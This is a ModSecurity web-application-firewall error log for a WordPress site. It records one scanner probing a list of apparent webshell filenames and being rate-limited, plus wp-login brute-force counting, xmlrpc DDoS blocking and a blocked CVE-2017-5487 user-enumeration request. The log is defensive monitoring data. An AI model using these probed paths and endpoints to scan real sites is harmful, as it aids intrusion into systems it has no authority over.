[Wed Dec 10 00:27:53.497903 2025] [:error] [pid 2280:tid 2342] [client 4.189.144.112:7130] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aThOCXcqIB-8ALgw4ZovegAAAIU"]
[Wed Dec 10 00:27:55.623770 2025] [:error] [pid 2366:tid 2375] [client 4.189.144.112:7154] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aThOC0AeBjkmsNRkd1M4oQAAAMc"]
[Wed Dec 10 00:27:57.189664 2025] [:error] [pid 2280:tid 2357] [client 4.189.144.112:7108] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aThODXcqIB-8ALgw4ZovfwAAAJQ"]
[Wed Dec 10 00:27:58.599514 2025] [:error] [pid 2277:tid 2283] [client 4.189.144.112:7058] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aThODoWGo731r6eS-w43oAAAAAE"]
[Wed Dec 10 00:28:02.492899 2025] [:error] [pid 2366:tid 2369] [client 4.189.144.112:6936] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aThOEkAeBjkmsNRkd1M44gAAAME"]
[Wed Dec 10 00:28:03.972821 2025] [:error] [pid 2277:tid 2306] [client 4.189.144.112:7140] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aThOE4WGo731r6eS-w43sgAAABc"]
[Wed Dec 10 00:28:04.654546 2025] [:error] [pid 2280:tid 2351] [client 4.189.144.112:7132] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aThOFHcqIB-8ALgw4ZovlgAAAI4"]
[Wed Dec 10 00:28:05.733390 2025] [:error] [pid 2279:tid 2313] [client 4.189.144.112:6998] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aThOFVmpdQscMcJOElWPEgAAAUM"]
[Wed Dec 10 00:28:07.024669 2025] [:error] [pid 2280:tid 2359] [client 4.189.144.112:7094] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aThOF3cqIB-8ALgw4ZovnQAAAJY"]
[Wed Dec 10 00:28:08.191747 2025] [:error] [pid 2279:tid 2324] [client 4.189.144.112:7096] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aThOGFmpdQscMcJOElWPHQAAAU4"]
[Wed Dec 10 00:28:12.082894 2025] [:error] [pid 2366:tid 2381] [client 4.189.144.112:7151] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aThOHEAeBjkmsNRkd1M5FAAAAM0"]
[Wed Dec 10 00:28:12.712390 2025] [:error] [pid 2279:tid 2322] [client 4.189.144.112:7063] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aThOHFmpdQscMcJOElWPNAAAAUw"]
[Wed Dec 10 00:28:14.393150 2025] [:error] [pid 2280:tid 2361] [client 4.189.144.112:6995] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aThOHncqIB-8ALgw4ZovvAAAAJg"]
[Wed Dec 10 00:28:14.950829 2025] [:error] [pid 2277:tid 2300] [client 4.189.144.112:6992] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoha.php"] [unique_id "aThOHoWGo731r6eS-w431wAAABE"]
[Wed Dec 10 00:28:16.010445 2025] [:error] [pid 2277:tid 2283] [client 4.189.144.112:7079] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoha.php"] [unique_id "aThOIIWGo731r6eS-w433AAAAAE"]
[Wed Dec 10 00:28:17.639873 2025] [:error] [pid 2279:tid 2318] [client 4.189.144.112:7098] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoha.php"] [unique_id "aThOIVmpdQscMcJOElWPSQAAAUg"]
[Wed Dec 10 00:28:19.217111 2025] [:error] [pid 2366:tid 2372] [client 4.189.144.112:7042] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoha.php"] [unique_id "aThOI0AeBjkmsNRkd1M5KAAAAMQ"]
[Wed Dec 10 00:28:19.819485 2025] [:error] [pid 2366:tid 2371] [client 4.189.144.112:6937] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aThOI0AeBjkmsNRkd1M5LAAAAMM"]
[Wed Dec 10 00:28:22.945615 2025] [:error] [pid 2366:tid 2371] [client 4.189.144.112:7109] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aThOJkAeBjkmsNRkd1M5MwAAAMM"]
[Wed Dec 10 00:28:23.547486 2025] [:error] [pid 2277:tid 2293] [client 4.189.144.112:7071] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aThOJ4WGo731r6eS-w439AAAAAo"]
[Wed Dec 10 00:28:24.306869 2025] [:error] [pid 2366:tid 2389] [client 4.189.144.112:7146] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aThOKEAeBjkmsNRkd1M5NwAAANU"]
[Wed Dec 10 00:28:24.634606 2025] [:error] [pid 2366:tid 2368] [client 4.189.144.112:7102] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aThOKEAeBjkmsNRkd1M5OQAAAMA"]
[Wed Dec 10 00:28:25.147917 2025] [:error] [pid 2280:tid 2350] [client 4.189.144.112:7127] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aThOKXcqIB-8ALgw4Zov2QAAAI0"]
[Wed Dec 10 00:28:25.950025 2025] [:error] [pid 2366:tid 2386] [client 4.189.144.112:7145] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aThOKUAeBjkmsNRkd1M5PQAAANI"]
[Wed Dec 10 00:28:27.538093 2025] [:error] [pid 2277:tid 2289] [client 4.189.144.112:6982] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aThOK4WGo731r6eS-w44AQAAAAc"]
[Wed Dec 10 00:28:28.489628 2025] [:error] [pid 2280:tid 2338] [client 4.189.144.112:7147] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aThOLHcqIB-8ALgw4Zov5AAAAIE"]
[Wed Dec 10 00:28:29.607630 2025] [:error] [pid 2280:tid 2339] [client 4.189.144.112:7093] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aThOLXcqIB-8ALgw4Zov5wAAAII"]
[Wed Dec 10 00:28:30.048048 2025] [:error] [pid 2366:tid 2386] [client 4.189.144.112:7124] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aThOLkAeBjkmsNRkd1M5TgAAANI"]
[Wed Dec 10 00:28:32.373694 2025] [:error] [pid 2277:tid 2286] [client 4.189.144.112:6981] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aThOMIWGo731r6eS-w44BgAAAAQ"]
[Wed Dec 10 00:28:33.418418 2025] [:error] [pid 2280:tid 2359] [client 4.189.144.112:6989] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aThOMXcqIB-8ALgw4Zov7AAAAJY"]
[Wed Dec 10 00:28:35.352743 2025] [:error] [pid 2280:tid 2338] [client 4.189.144.112:7091] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aThOM3cqIB-8ALgw4Zov8AAAAIE"]
[Wed Dec 10 00:28:36.962845 2025] [:error] [pid 2366:tid 2391] [client 4.189.144.112:7068] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aThONEAeBjkmsNRkd1M5ZgAAANc"]
[Wed Dec 10 00:28:37.835796 2025] [:error] [pid 2366:tid 2392] [client 4.189.144.112:6983] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "aThONUAeBjkmsNRkd1M5aAAAANg"]
[Wed Dec 10 00:28:38.589885 2025] [:error] [pid 2366:tid 2379] [client 4.189.144.112:7158] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aThONkAeBjkmsNRkd1M5agAAAMs"]
[Wed Dec 10 00:28:39.596074 2025] [:error] [pid 2279:tid 2312] [client 4.189.144.112:6977] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aThON1mpdQscMcJOElWPdwAAAUI"]
[Wed Dec 10 00:28:42.797764 2025] [:error] [pid 2277:tid 2284] [client 4.189.144.112:7011] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aThOOoWGo731r6eS-w44KQAAAAI"]
[Wed Dec 10 00:28:44.972566 2025] [:error] [pid 2279:tid 2333] [client 4.189.144.112:7106] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aThOPFmpdQscMcJOElWPhQAAAVc"]
[Wed Dec 10 00:28:46.232012 2025] [:error] [pid 2277:tid 2301] [client 4.189.144.112:7006] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aThOPoWGo731r6eS-w44MAAAABI"]
[Wed Dec 10 00:29:09.384965 2025] [:error] [pid 2280:tid 2352] [client 4.189.144.112:7014] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aThOVXcqIB-8ALgw4ZowvQAAAI8"]
[Wed Dec 10 00:29:10.080936 2025] [:error] [pid 2279:tid 2330] [client 4.189.144.112:6932] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aThOVlmpdQscMcJOElWQPgAAAVQ"]
[Wed Dec 10 00:29:11.205076 2025] [:error] [pid 2277:tid 2285] [client 4.189.144.112:7112] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aThOV4WGo731r6eS-w44_QAAAAM"]
[Wed Dec 10 00:29:14.627617 2025] [:error] [pid 2280:tid 2354] [client 4.189.144.112:7035] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aThOWncqIB-8ALgw4Zow2QAAAJE"]
[Wed Dec 10 00:29:15.610297 2025] [:error] [pid 2366:tid 2388] [client 4.189.144.112:7047] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aThOW0AeBjkmsNRkd1M6vAAAANQ"]
[Wed Dec 10 00:29:19.822154 2025] [:error] [pid 2279:tid 2331] [client 4.189.144.112:7069] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aThOX1mpdQscMcJOElWQvgAAAVU"]
[Wed Dec 10 00:29:22.176795 2025] [:error] [pid 2277:tid 2306] [client 4.189.144.112:7013] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aThOYoWGo731r6eS-w45QwAAABc"]
[Wed Dec 10 00:29:24.381561 2025] [:error] [pid 2280:tid 2350] [client 4.189.144.112:7150] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aThOZHcqIB-8ALgw4ZoxAAAAAI0"]
[Wed Dec 10 00:53:16.727184 2025] [:error] [pid 37041:tid 37057] [client 170.64.209.14:49692] [client 170.64.209.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.209.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aThT_LuffDW8UzBwa1adkAAAAE4"]
[Wed Dec 10 00:53:18.478060 2025] [:error] [pid 37041:tid 37043] [client 170.64.209.14:50834] [client 170.64.209.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.209.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aThT_ruffDW8UzBwa1adkQAAAEA"]
[Wed Dec 10 01:06:51.699313 2025] [:error] [pid 2279:tid 2319] [client 35.237.188.98:65466] [client 35.237.188.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.188.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThXK1mpdQscMcJOElWl9QAAAUk"]
[Wed Dec 10 01:06:56.469328 2025] [:error] [pid 2279:tid 2311] [client 35.237.188.98:65466] [client 35.237.188.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aThXMFmpdQscMcJOElWl-wAAAUE"]
[Wed Dec 10 01:06:58.336316 2025] [:error] [pid 2279:tid 2326] [client 35.237.188.98:65466] [client 35.237.188.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.188.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThXMlmpdQscMcJOElWl_gAAAVA"]
[Wed Dec 10 01:07:00.492181 2025] [:error] [pid 37041:tid 37052] [client 35.237.188.98:58226] [client 35.237.188.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.188.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThXNLuffDW8UzBwa1akdAAAAEk"]
[Wed Dec 10 01:07:02.734756 2025] [:error] [pid 2277:tid 2293] [client 35.237.188.98:63512] [client 35.237.188.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.188.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThXNoWGo731r6eS-w5NygAAAAo"]
[Wed Dec 10 01:07:04.803014 2025] [:error] [pid 2277:tid 2307] [client 35.237.188.98:54325] [client 35.237.188.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.188.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThXOIWGo731r6eS-w5NzgAAABg"]
[Wed Dec 10 01:07:06.985233 2025] [:error] [pid 2277:tid 2304] [client 35.237.188.98:53410] [client 35.237.188.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.188.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThXOoWGo731r6eS-w5N1gAAABU"]
[Wed Dec 10 01:07:06.985359 2025] [:error] [pid 2277:tid 2304] [client 35.237.188.98:53410] [client 35.237.188.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.237.188.98, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThXOoWGo731r6eS-w5N1gAAABU"]
[Wed Dec 10 01:37:26.301505 2025] [:error] [pid 2280:tid 2337] [client 170.64.209.14:64082] [client 170.64.209.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.209.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTheVncqIB-8ALgw4ZpYZwAAAIA"]
